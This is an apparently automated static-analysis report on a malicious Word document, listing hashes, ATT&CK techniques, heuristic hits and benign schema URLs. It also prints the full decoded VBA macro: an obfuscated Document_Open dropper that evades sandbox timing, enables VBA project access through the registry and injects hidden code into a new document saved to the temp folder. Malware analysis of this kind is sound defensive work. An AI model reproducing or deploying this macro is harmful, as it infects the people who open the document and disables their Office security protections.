Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 6edf3d03bd38c800…

MALICIOUS

Office (OOXML) / .DOC

45.3 KB Created: 2024-09-12 12:39:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-05-13
MD5: 276f1b9d7b6ebd9bd799822ec94470c7 SHA-1: 5d1c636569526f32b7289728863f635393f8e889 SHA-256: 6edf3d03bd38c800d5d1e297d59c2496968202358f4be47e1f07e57a52485e0c
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for initiating malicious actions upon document opening. The script uses CreateObject to instantiate 'WScript.Shell' and attempts to modify the registry key HKCU\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM to 1, likely to bypass security restrictions. It also constructs a path to the user's temporary directory, suggesting it downloads and executes a second-stage payload.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        doc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString "Sub goods() : : End Sub" & vbCrLf & "Sub baads() : : End Sub" & vbCrLf & danger()
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Set wsl = CreateObject(strng)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub documeNt_opEn()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Related samples 7

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1974 bytes
SHA-256: cab6f078d1ea32030ccaca88a921f8f4c4080728d12ffb69057d8383fa7fa431
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public objApp, wsl
Function danger()
        danger = ActiveDocument.Variables.Item("s2")
End Function
Function rundoc(namedoc)
        Set doc2 = objApp.Documents.Open(namedoc)
    doc2.Save
    doc2.Close
End Function
Sub verydanger()
        strng = "WSc" & "ript.She"
        strng = strng & "ll"
        Set wsl = CreateObject(strng)
        wsl.RegWrite "HK" & "CU\Softw" & "are\Micr" & "osoft\Of" & "fice\" & Application.Version & "\Wo" & "rd\Sec" & "urity\Acce" & "ssVBO" & "M", 1, "REG_D" & "WORD"
End Sub
Sub documeNt_opEn()
    On Error Resume Next
        ActiveDocument.Unprotect ("oikmseM#*inmowefj8349an3")
        For i = ActiveDocument.Shapes.Count To ActiveDocument.Shapes.Count + 1 - ActiveDocument.ActiveWindow.Panes(1).Pages.Count * 2 Step -1
                ActiveDocument.Shapes(i).Delete
        Next i
    ActiveDocument.Save
        sss = Now()
    While Now < sss + TimeValue("00:00:20")
        DoEvents
    Wend
        If Now() - sss < TimeValue("00:00:15") Then Exit Sub
        verydanger
    Set objApp = CreateObject("Word.Application")
    objApp.Visible = False
    Set doc = objApp.Documents.Add
    For Each vars In ActiveDocument.Variables
    doc.Variables.Add vars.Name & "ergegdr", vars
    i = i + 1
    Next
    doc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString "Sub goods() : : End Sub" & vbCrLf & "Sub baads() : : End Sub" & vbCrLf & danger()
    tmp = wsl.ExpandEnvironmentStrings("%localapp" & "data%\T" & "emp")
    doc.SaveAs2 tmp & "\" & ActiveDocument.Name & ".doc", 13
    doc.Close
        rundoc (tmp & "\" & ActiveDocument.Name & ".doc")
        objApp.Quit False
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 22016 bytes
SHA-256: e917622d343402cf0f558450f25e45658228bdeef0ff4e56f2dea08140afbc1b

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